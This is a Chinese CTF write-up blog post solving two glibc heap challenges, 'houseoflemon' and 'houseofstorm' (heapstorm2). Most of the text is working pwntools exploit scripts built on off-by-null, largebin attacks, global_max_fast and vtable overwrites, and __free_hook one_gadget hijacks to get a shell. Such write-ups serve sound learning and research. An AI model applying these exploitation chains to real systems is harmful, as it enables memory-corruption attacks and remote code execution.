houseoflemon

题目分析

题目给了十块钱买水果,mayer柠檬6块钱,ponderosa柠檬4块钱,买哪个没区别,但你不能买两个mayer,因为你钱不够:P

第三个功能是advice,可以完成分配(大小十进制的199-8000)、编辑、删除各一次。

买柠檬的信息是一个由一个FILO的双向链表保存,头位于data段。

增加节点代码:

删除节点代码:

而且可以随意修改最新节点的前向指针和后向指针。

这就可以达到一个任意地址写一个固定的值的效果,原理和unsorted_bin_attack一样。利用这一点改global_max_fast,为什么改global_max_fast,因为:

glibc在free的时候,会通过get_max_fast()获取global_max_fast,小于global_max_fast就根据fastbin_index放到fastbinY里。

1
if ((unsigned long)(size) <= (unsigned long)(get_max_fast())

fastbin_index是这样算的,具体就是(size>>4)-2,例如0x20的index是0,具体的算我也没算,我是调试调出来一个数。

就着写博客就仔细算一波。

1
2
3
4
5
6
7
main_arena=0x7f6b0ce17b20
stdout=0x7f6b0ce18620
main_arena->fastbinY=0x7f6b0ce17b28
stdout->vtable=0x7f6b0ce186f8
offset=0xbd0
->idx=0xbd0/8=0x17a
->size=0x20+idx*0x10=0x17c0

正好。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
from pwn import *
debug=1
context.log_level = 'debug'
if debug==1:
io = process('./pwn500')
elif debug==0:
io = remote("",1234)
elf = ELF('./pwn500')
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
s = lambda data :io.send(data)
sa = lambda data1,data :io.sendafter(data1, data)
sl = lambda data :io.sendline(data)
sla = lambda data1,data :io.sendlineafter(data1, data)
r = lambda numb=4096 :io.recv(numb)
ru = lambda data1, drop=True :io.recvuntil(data1, drop)

def Meyer(*aa):
ru('Pls input your choice:')
sl('1')
for a in aa:
ru('Pls Input your choice:')
sl(str(a))
def Ponderosa(*aa):
ru('Pls input your choice:')
sl('2')
for a in aa:
ru('Pls Input your choice:')
sl(str(a))
if(a==4):
ru('Get Input:')
global c
sl(c)
def Leave(*aa):
ru('Pls input your choice:')
sl('3')
for a in aa:
r()
sl(a)
def Submit():
ru('Pls input your choice:')
sl('4')
ru('Pls input your phone number first:')
s('1'*15)
ru('Ok,Pls input your home address')
sl('1'*40)
ru(b'OK,your input is:')
return u64((ru('\x0a')[40:]).ljust(8,b'\x00'))-224912

libc.address=Submit()
print(hex(libc.address))

onegadgets=[0x45216,0x4526a,0xf02a4,0xf1147]
onegadgets=[283158 ,283242 ,839923 ,840136 ,983716 ,983728 ,987463 ,1009392]
stdout=0x1460+25*16+28*16#0x17c0-8
stderr=0x1460+25*16
#c=b'|sh\x00'.ljust(8,b'\x00')
c=p64(libc.symbols['system'])*30#
#c+=p64(libc.address+onegadgets[1])*30# #vtable


Leave(b'1',str(stdout),'2',c,'4')
c=b'1'*24
c+=p64(libc.address+0x3c67f8-0x10)

#change global_max_fast
Ponderosa(2,4,3,5)

#change stdout->vtable
Leave(b'3')

io.interactive()

这题也就做到这程度了,可能是因为我没有题目对应的libc,以后再回来看。

获取menu脚本

因为懒得每次都手打目录,就写了个脚本。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
pattern = re.compile(b'\d\..+')
mainmenu = pattern.findall(r())
ask="Command:"
response='20'
pattern_fun=re.compile(b'\w+')
if mainmenu:
for item in mainmenu[:-1]:
function="def {0}(a):\n\tru('{1}')\n\tsl('{2}')\n".format(bytes.decode(pattern_fun.findall(item[2:])[0]),ask,bytes.decode(item[0:1]))
sl(item[0:1])
while(True):
receive = r()
if(pattern.findall(receive)!=mainmenu):
#submenu = pattern.findall(receive)
#if submenu:
# print(submenu)
sl(response)
function+="\tru('{0}')\n".format(bytes.decode(receive))
function+="\tsl(str(a))"
else:
break
print(function)
else:
print("error")

效果就是这样,但感觉实在没法通用。

houseofstorm

预备知识

__libc_mallopt

1
2
3
4
int __libc_mallopt(int param_number, int value)

//param_number取值
#define M_MXFAST 1

mallopt(1,0)就相当于大小小于0的块被放到fastbin里,也就是说fastbin完全禁用。

题目分析

在0x13370000处分配了一块0x1000大小的内存,然后在0x13370800读入三个随机数,之后分配得到的addr要和第一个随机数异或后存储,读取时和第一个随机数异或后读取;size和第二个随机数同理。

update里有offbynull。

view需要在特定地址写入特定值才可用。

allocate大小在(0xc,0x1000]之间,用的是calloc;delete是无漏洞的delete。

利用分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
from pwn import *
debug=1
#context.log_level = 'debug'
if debug:
io = process('./heapstorm.dms')
else:
io = remote("",1234)
elf = ELF('./heapstorm.dms')
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
s = lambda data :io.send(data)
sa = lambda data1,data :io.sendafter(data1, data)
sl = lambda data :io.sendline(data)
sla = lambda data1,data :io.sendlineafter(data1, data)
r = lambda numb=4096 :io.recv(numb)
ru = lambda data1, drop=True :io.recvuntil(data1, drop)

def Allocate(a):
ru('Command:')
sl('1')
ru('Size: ')
sl(str(a))
def Update(a,b,c):
ru('Command:')
sl('2')
ru('Index: ')
sl(str(a))
ru('Size: ')
sl(str(b))
ru('Content: ')
s(c)
def Delete(a):
ru('Command:')
sl('3')
ru('Index: ')
sl(str(a))
def View(a):
ru('Command:')
sl('4')
ru('Index: ')
sl(str(a))
Allocate(0x90-8) #uns0
Allocate(0x520-8)#1
Allocate(0x90-8)#2
Allocate(0x20-8)#3
Allocate(0x90-8)#4
Allocate(0x520-8)#5
Allocate(0x90-8)#6
Allocate(0x20-8)#7
Allocate(0x410-8)#8
Allocate(0x20-8)#9
Allocate(0x410-8)#10

#fisrt overlap
Update(1,0x500,b"1"*(0x4f0)+p64(0x500)+p64(0xa1))
Delete(1)
Update(0,0x90-8-12,b"1"*(0x90-8-12))
Allocate(0x40-8)#1
Delete(1)
Delete(2)
Allocate(0x4c0-8)#1 in control
Allocate(0x5b0-8)#2
c=b"1"*(0x40-8)+p64(0x4c1)+b'1'*(0x4c0-8)+p64(23*16-0xc0+1)
Update(2,len(c),c)

#second overlap
Update(5,0x500,b"1"*(0x4f0)+p64(0x500)+p64(0xa1))
Delete(5)
Update(4,0x90-8-12,b"1"*(0x90-8-12))
Allocate(0x40-8)#5
Delete(5)
Delete(6)
Allocate(0x4c0-8)#5 in control
Allocate(0x5b0-8)#6
c=b"1"*(0x40-8)+p64(0x4c1)+b'1'*(0x4c0-8)+p64(23*16-0xc0+1)
Update(6,len(c),c)


#largebin attack -->fake chunk(0x133707f0)
Delete(1)
Allocate(0x600-8)#1 cosolidate
c=b"1"*(0x40-8)+p64(0x4c1)
c+=p64(0)
c+=p64(0x13370800-0x10+3-16)#size
c+=p64(0)
c+=p64(0x13370808-0x20)#bk
c+=b'1'*(0x4c0-8-16-16-8)+p64(0x4c0)+p64(23*16-0xc0)
Update(2,len(c),c)

#a bigger freed chunk in unsorted bin
#bk->fake chunk(0x133707f0)
Delete(5)
c=b"1"*(0x40-8)+p64(0x4d1)
c+=p64(0x0)
c+=p64(0x13370800-0x10)#bk
c+=b'1'*(0x4d0-8)+p64(0x4d0)+p64(23*16-0xc0-16)
Update(6,len(c),c)

#1.largebin attack ->fake chunk(0x133707f0) size=0x56
#2.alloc(0x133707f0)
Allocate(0x50-8)#5

c=p64(0)*3
c+=p64(0x13377331)
c+=p64(0x13370870)#0
c+=p64(0x100)
Update(5,len(c),c)

#leak libc
View(0)
ru(b"Chunk[0]: ")
rc=r(16)
heapbase=u64(rc[8:16])-0x778
log.success(hex(heapbase))

#leak heap
c=p64(0x13370800)#5
c+=p64(0x100)
c+=p64(heapbase+0x740)#6
c+=p64(0x500)
Update(0,len(c),c)
View(6)
ru(b"Chunk[6]: ")
rc=r(16)
libc.address=u64(rc[0:8])-3953032+1552
log.success(hex(libc.address))

#free_hook to shell
onegadgets=[0x45216,0x4526a,0xf02a4,0xf1147]
c=p64(0)*3
c+=p64(0x13377331)
c+=p64(libc.symbols['__free_hook'])#0
c+=p64(0x100)
c+=p64(heapbase+0x740)#6
c+=p64(0x500)
Update(5,len(c),c)
c=p64(libc.address+onegadgets[1])
Update(0,len(c),c)
Delete(1)
io.interactive()

在0x133707f0处写入的size是堆的高两位,它会是0x55/0x56,但是必须得是0x56,因为calloc会报错,报错代码在图中第一行:

汇编如下:

源码如下:

1
2
3
mem = _int_malloc (av, sz);
assert (!mem || chunk_is_mmapped (mem2chunk (mem)) ||
av == arena_for_chunk (mem2chunk (mem)));

以上3个条件必须有一个满足才行。

1
2
#define arena_for_chunk(ptr) \
(chunk_non_main_arena (ptr) ? heap_for_ptr (ptr)->ar_ptr : &main_arena)

因为0x55和0x56的都有NON_MAIN_ARENA(0x4)位,而返回的chunk又不在arena的堆空间里,所以第3个条件是不能满足的。那么只有满足第2个了,chunk的mmap标志位置位,也就是只有heap address start with 0x56的情况下才行。否则assert失败,程序退出。

参考链接https://github.com/willinin/0ctf2018/blob/master/heapstorm2/heapstorm2.md

getshell

迷惑

我很迷惑为什么2.23会报这个错呢?明明没这行代码的。

收获

在unsortedbin里找块的时候找大小相等的,相等就return,剩下的还待在unsortedbin里。

后记

今天想自己搭一个那啥。

https://233v2.com/post/16/

vultr的ip很容易被ban不知道为什么,然后换了谷歌云,上来就给了两千多。

一开始还以为是刀乐,结果其实是港币。港币那也是白给:P

好像最多开12个CPU,开心了。